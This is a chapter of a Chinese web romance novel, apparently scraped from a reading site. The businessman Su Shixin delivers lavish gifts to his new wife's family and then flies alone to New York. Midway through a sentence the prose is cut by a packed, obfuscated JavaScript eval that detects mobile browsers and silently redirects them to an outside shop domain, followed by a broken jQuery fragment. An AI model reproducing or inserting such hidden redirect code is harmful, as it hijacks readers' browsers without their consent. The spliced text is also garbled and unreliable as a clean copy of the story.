卢美君那边挂断电话后,转过头,脸上带了抹歉然的微笑,看向坐在沙发上的男人。
“时信,真是不好意思,蜚声让我们给宠坏了。说话做事都太不成体统,往后,还要麻烦你多担待着点。”
宿时信穿着一身深色西装,打着一条同色系的领带,即使是坐在叶家的沙发上,也像是在会议室里开会,一副正襟危坐的模样。
面目沉着,举止斯文,在叶家的水晶灯光照射下,那张无可挑剔的脸庞上,莫名多了点清绝的味道。
他声调不急不缓,说道:“不会,您严重了。”
叶仕国在卢美君和叶蜚声说话的功夫里,情绪早已平静下来,跟着宿时信这句话,忙不迭搭腔道:“时信,蜚声真是太不懂事,刚和你结婚没两天,就一个人跑出国,跟你说都不说一声,我真是太惭愧了。你放心,等她明天回来,我一定好好说说她。”
刚刚他正和叶蜚声打电话时,宿时信就突然过来拜访,他唯恐叶蜚声在手机里说的那些话被宿时信听到,引起对方不快。
“那倒不用。”宿时信平声说道,他进来的时机凑巧,只看到卢美君接过叶仕国的手机,并未听到叶蜚声和叶仕国的通话内容。
宿时信朝身后挥了挥手,助理李解连忙将手中礼物依次呈上,放置在客厅中央的红木茶桌上。
李解将礼物依次拆开,红木桌上很快出现了一盒雪茄,一瓶红酒,一条珍珠项链,和一只翡翠玉镯。
叶仕国和卢美君看着眼前礼物,不由得愣住,“时信,这是……”
宿时信解释:“这是送给你们的礼物。”
叶仕国把桌上那堆东西往宿时信的方向推了推,粗声道:“好端端的送什么礼物,你这也太客气了!”
“其实这应该算是回门礼。”宿时信说,“雪茄送给叶叔叔,镯子是君姨的,项链和红酒给曲棠和曲淮。”
他抬头,看向眼前两人,说道:“明天不凑巧,我要出趟差,接下来几天都不在京市,所以不能带蜚声回门了。这些是我提前送来的回门礼,还希望你们不要嫌弃。”
他分毫不提叶蜚声不在国内这个问题,而是将明天不能回门这件事全部都揽在了自己身上。
叶仕国看了眼桌上礼物,不消说,桌上的每一样都极为贵重,单是那盒雪茄,每一支都要十几万美元。
他搓了搓手,那种宽厚的国字脸上流露出些不好意思:“你工作那么忙,每天那么多会议应酬,就算是不能回门,我们也都能理解,就是这些礼物实在是太贵重了。”
“您不用这么客气。”宿时信不疾不徐道,“不管我有多忙,该有的礼数总是要有,不能因为我的工作,就怠慢了长辈,这些都是我应该做的。”
叶仕国脸上还有几分犹豫,虽说两家关系亲近,但要细究起来,叶家是远远不及宿家的。当初宿时信的父亲宿伯容和叶仕国只能算得上是聊得来的生意伙伴,两家关系亲近起来,还是在宿伯容夫妇去世后,叶曲淮和宿时信两个孩子关系交好后才开始的。
对待宿时信,他们并不敢将其当做是一般晚辈。
况且,宿时信和叶蜚声结婚实在仓促,他到现在也没有身为岳父的意识。
在他面露犹豫的当口,卢美君瞄了眼宿时信,很快心领神会,忙堆笑道:“时信,咱们两家关系本就亲近,以后我们都别这么客气了。你和蜚声结了婚,咱们就是亲上加亲,是真真正正的一家人了。”
宿时信沉声道:“您说的没错,君姨。”
叶仕国听了卢美君的话,心里也跟着轻松了几分。想到宿时信刚刚说明天要出差,随口问道:“时信,那你明天要去哪出差?”
宿时信微一沉吟,回道:“去美国,有个合作要谈。”
“美国哪里?”叶仕国听到说要去美国,不禁多问了几句,“你要是去纽约,刚好可以跟蜚声见见面,你们小夫妻才结婚就分开,这感情得多生疏啊,办完公事刚好可以在那边玩玩,也算小别胜新婚嘛!”
宿时信神情微顿,一时没法回答这个问题。
卢美君在心里朝叶仕国翻了个白眼,笑着转移话题,“时信,刚好到饭点了,我让阿姨待会多炒几个菜,再把曲棠和曲淮叫回来,咱们一起吃个饭。”
“不用了。”宿时信说,“我待会还有工作要忙,实在是走不开,下次再过来叨扰您。”
宿时信每天忙得不可开交,又因明天出国,需要将所有待处理的工作都压缩在这两天完成,更是忙得连喝口水的时间都没有。这次来叶家送礼,还是因为宿老爷子专程交代,所以他才在结束一场应酬后抽空过来。
的确是没有时间陪他们吃饭。
一听宿时信有工作要忙,叶仕国当即道:“你忙你忙,快去忙,我们就不妨碍你了。”
宿时信点头,起身告辞。
叶仕国和卢美君将人送出门,宿时信走路有些慢,叶仕国和卢美君也亦步亦趋,乍看起来是三人并排而行,但仔细看去,叶仕国和卢美君始终落在宿时信身后半步。
一路送到了大门口,李解打开后座车门,宿时信正要上车,又似想起什么,回头说道:“蜚声回美国这事,我是知道的。”
叶仕国和卢美君顿住,一时立在原地,没明白他忽然说这个是什么意思。
宿时信继续说:“她认真读书,不想耽误学业,本就没有错,以后就别说她了。”
平淡的语气,但话中蕴含的份量,没人怀疑。
叶仕国很快回神,点头道:“好好好,我知道了,以后再也不说她了。”
宿时信点头,然后弯腰上了车。
李解关上车门,朝门口的两人点头告辞。
叶仕国和卢美君站在门口,目送汽车扬长而去。
等车子消失在视野里,叶仕国才抬脚往里走。但走了几步,回头一看,卢美君还站在门口,一直看着远处。
“人都走了,你还站那干嘛?”
卢美君脸上的笑意收敛,不咸不淡的看了眼叶仕国,问道:“看时信维护那丫头的样子,他不会真看上蜚声了吧。”
“什么看上看不上。”叶仕国不懂她脑子里的弯弯绕绕,“他们都结婚了,还是时信主动说要娶蜚声的。生米早都煮成熟饭了,你现在才来看火旺不旺,简直是有毛病。”
卢美君一听他说这话就来气,走过去,把他往旁边狠狠一推,叶仕国险些一脚栽进门口的荷花池里。
“你脑子才有毛病!”卢美君瞪了他一眼,扭着腰回了家。
徒留下叶仕国在原地气得脸红脖子粗,反应过来后,破口大骂。
开向晟远集团的汽车里,车内气氛安静,只有后排时不时响起的文件翻页声。
李解朝后视镜里看了眼,犹豫半晌,还是没忍住,开口问道:
“宿总,您这回去美国,是不是专门和少夫人去约会啊?”
文件翻页声未停,后排人并未应声,李解有些尴尬,干笑两声,闭紧嘴巴,不敢再开口说话。
过了好一会,文件翻页声忽然停止,宿时信慢悠悠的语调响起:“少夫人?”
猝然响起的冷淡嗓音,吓得李解险些把方向盘掰折,轮胎打滑,千钧一发之际,他赶紧回过神,才没酿成车祸事故。
车胎在地面摩擦的声音刺耳,李解从后视镜里看到宿时信冷沉的表情,以为打扰了宿总工作,连忙道歉,“对不起,宿总。”
宿时信低着头,身体僵硬,抓着文件的五指骤然收紧。过了好一会,四肢才渐渐松懈,五指放开时,文件纸张上已经留下了明显的褶皱。
他将那页纸无声的抚平,再开口时嗓音清寂,微有寒意,“要是开不了车,我会考虑换个司
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294534|152159||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
机。”
“是,宿总。”
李解肩背绷紧,后半程不敢造次,专心开车,因此也就忽略了宿时信之前说的那声“少夫人”。
等处理完所有公事,已是晚上十点。
等宿时信从总裁办公室出来,等在门外的李解连忙迎上前,将手中黑色风衣外套递过去,“宿总,私人飞机已经安排好了。”
宿时信接下外套,搭在右臂上,左手按了下眉心,脸上疲惫明显,嗓音微哑。
“这一周我不在公司,没有紧急的事情不要联系我,有事你先处理。”
“是,宿总。”
过去一年来,宿时信每过一两个月都会出国,时间为期一周左右,李解早已习惯。
晚上十一点,李解开车将宿时信送到机场。
车停下,李解打开后座车门,等宿时信下车后,问道:“宿总,真的不需要人陪您一起过去吗?”
宿时信每次出差办公至少有四个五人跟着,帮忙处理私事,辅助办公。唯独现今每月一次的出国休假,宿时信总是单独行动。
没人知道他去了哪里,也没人知道他去干什么。
李解曾经问过一次,宿时信也只简单说了两个字“休息”。
再多的,李解也不敢问了。
老实说,一开始还好,宿时信不在集团,李解甚至有种放飞自我的良好感觉。但次数多了,李解就有一种被抛弃的恐慌,生怕哪一天被宿时信发现,自己其实也没多重要,然后被扫地出门,离开晟远,原地失业。
宿时信戴着墨镜,眼底情绪无从泄露,未被挡住的下半张脸淡然冷峻,“不用了,到那边会有人安排。”
意料之中的答案,李解撇撇嘴,说了声“好。”
“记得跟老爷子说一声,叶家的礼已经送过去了。”
李解忙点头,“好,我知道了,宿总。”
宿时信穿着一身黑色西装,外面是同色的风衣外套,除了手机外,两手空无一物,就这样朝机场大厅走去。
机场大厅灯火通明,明灭的灯光从他脚下延伸出去,光明与黑暗的分界线并不明显。
身形峻拔,一道夜风拂过,风衣外套被吹出一道廓形弧度,更衬得那道背影漆黑孤绝,仿佛随时可以消失。
李解看着那道背影,莫名生出了一种,宿总很孤独的错觉。
但这个想法刚冒上来,就被他紧急叫停。
他真是脑子进了水,吃了熊心豹子胆,才会觉得杀伐果断,说一不二的宿总孤独。
宿时信上了私人飞机,让工作人员拿来一杯水后,便让他们都不要过来打扰。
飞机起飞,十二个小时后,落地美国纽约。
纽约中午十二点,机场里的旅客人满为患。座椅里挤满了人,冰凉的大理石地板被形形色色的脚印接连踏过,翼形屋顶上空响起不同国家的语言,在上方回荡,经久不散。
宿时信从航站楼出来,有工作人员上前询问他是否需要帮助,宿时信拒绝,说有人会过来接他。
见他拒绝,工作人员便去帮助其他乘客。
宿时信在出站口望了一圈,在掠过一个穿着灰色西装的中年男人背影时,目光忽然顿住。
他拿出手机拨打了一个电话,那个灰西装中年男人很快接起。
接着,灰西装男人举着手机转身,眼神在空中移动十秒后,便看到了宿时信。
他收了电话,朝宿时信奔去,等到了近前,端起一副温和的笑容:“少爷,中午好。”
宿时信也笑了下,眼里是难得的少年气,叫了声,“唐叔,中午好。”
唐叔带着他走出机场,“在飞机上吃过东西了吗?饿不饿,咱们先回家吃点东西。”
宿时信拄着拐杖,步伐缓慢,笑着说:“好啊,我也好久没吃过您做的土豆鸡翅了。”